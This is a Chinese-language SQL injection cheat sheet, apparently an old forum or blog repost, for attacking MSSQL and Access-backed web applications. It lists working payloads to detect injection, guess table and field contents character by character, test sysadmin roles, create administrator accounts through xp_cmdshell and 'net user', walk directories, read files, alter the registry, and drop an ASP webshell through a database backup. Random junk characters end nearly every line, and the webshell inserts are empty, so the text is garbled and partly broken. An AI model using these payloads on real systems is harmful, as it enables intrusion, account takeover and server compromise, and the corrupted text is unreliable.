1.判断是否有注入;and 1=1 ;and 1=2 2A
{k>TjQ
2.初步判断是否是mssql ;and user>0 :!J!l u
`[/BG)4
3.注入参数是字符'and [查询条件] and ''=' " ?n~ /9`
=@&]PYv
4.搜索时没过滤参数的'and [查询条件] and '%25'=' o=4d2V%m
+*~?JT
5.判断数据库系统 !dStl:B
3x.|g
;and (select count(*) from sysobjects)>0 mssql V 1;n5YL
\*1pFX#
;and (select count(*) from msysobjects)>0 access EivZI<<a
jja9:$#
D@FJVF7c
L0_R2EA
6.猜数据库 ;and (select Count(*) from [数据库名])>0 u%3Z +[
315Rk!{AJ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !2$O^
}6"
\} P} H
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 OT\[qaK
r4D6g>)h1q
9.(1)猜字段的ascii值(access) l^WFMeMD3a
&-s!ko4z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 [uW{Ap ~2
qP *$wKY,
(2)猜字段的ascii值(mssql) :1s6h%evrT
0=yKE J
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3QZw
J*A<F'^F1
10.测试权限结构(mssql) )!e-5O49r
2Cj?k.Zk
6*{N{]`WZ)
%dKUB4
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ,=R->~ J
)9l5gZX'I
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- +^{yJp.H#
mdtq-v
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- j ]F
Zy
/0\m;&
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ] +LleS5
aB#qzrr['8
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- aKhI|%5kA
WdnCRFO?l
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- a$l/N{<.
J}nE,U2
;and 1=(select IS_MEMBER('db_owner'));-- uJ {N?
Pv+[N{
nkSYW]aQ1g
2_R'Kl![
11.添加mssql和系统的帐户 N? ky2wG
8 U B?X
;exec master.dbo.sp_addlogin username;-- =VH, i/@
;exec master.dbo.sp_password null,username,password;-- 9Psy$
w*f.Fu(su
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $
GL$
iA
CT6a
;exec master.dbo.xp_cmdshell 'net user username password P}KyT?X:
2~K.m@U}!Z
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- oost}%WxN
Sz.jv#Y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- =pF 6
LTm2B_+
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- .UU BAyjm
'&xv)tno
K\`L>B. 1
#y~^!fdp9
12.(1)遍历目录 x$cs_q]J
^$4d'
;create table dirs(paths varchar(100), id int) ?Xx,[Z&
HUfH/x3zj]
;insert dirs exec master.dbo.xp_dirtree 'c:\' ??CtmH
H"N
o{|^<
;and (select top 1 paths from dirs)>0 2$jTj<.K
!gWV4vC
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) oL2|@WNj,
}`{aeVHT
{]n5h#c 5*
@K7#}7,t
(2)遍历目录 U:M?Ji5CY
p%jl-CC1
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7^A;.x
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Bq#?g@V
$RuJm\f
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %}MZWf{
a<B[~J 4i
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 X@*$3z#Z
$o?Wum
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Z}5;K"T/
zC\ pd#
pE[ul
Q?B5@J
13.mssql中的存储过程 )F,H(LblH
kQxY"HD
xp_regenumvalues 注册表根键, 子键 !i&^H,
<iajtq<Z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ek1YaE
s +gZnne
xp_regread 根键,子键,键值名 4=9To|U*
F0t!k>
;exec xp_regread !?`5r)K
ZTfs&5
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 D0Oh,Fe#M\
+ G#qS1
xp_regwrite 根键,子键, 值名, 值类型, 值 y]xG@;4M
6] <~0{
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 A% 9TS/-p
bJj<xjBM
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 .3l'&".'
)2C_6eR
xp_regdeletevalue 根键,子键,值名 O['gp~P"
<.s=)}'`P
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 /%\E2+6
X3NHQMI
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 {w$1_GU
7hqa|
I83ZN]
#/Y t4n
14.mssql的backup创建webshell 8zP{Cmm
~@S5*(&8
use model qba<$
T]l_B2.
create table cmd(str image); yd2v_
3/RmJ`c{
insert into cmd(str) values (''); h@7Shp
wXIsc;
backup database model to disk='c:\l.asp'; 6TvlK*<r=
Wky=]C%
=W"BfG
vE0Ty9OH"]
15.mssql内置函数 m=b~Wf39
lG;RfDI-
;and (select @@version)>0 获得Windows的版本号 X3vTyIsn
uvz}qH@j/Q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa eN fo8xUG
b*S:wfw
;and (select user_name())>0 爆当前系统的连接用户 ,'?%z>RZm
ER~m
&JI
;and (select db_name())>0 得到当前连接的数据库 4J
Bm|Pf(
E}sjl
<"Z]S^>$
L!x7]g,^
16.简洁的webshell Adp:O"-H1o
3U9]&7^
use model ("<3w2Vlh
q$`{$RX
create table cmd(str image); ^o}!=aMr
Pf5RlpL:p
insert into cmd(str) values (''); &2C6q04b
i% 19|an
backup database model to disk='g:\wwwtest\l.asp';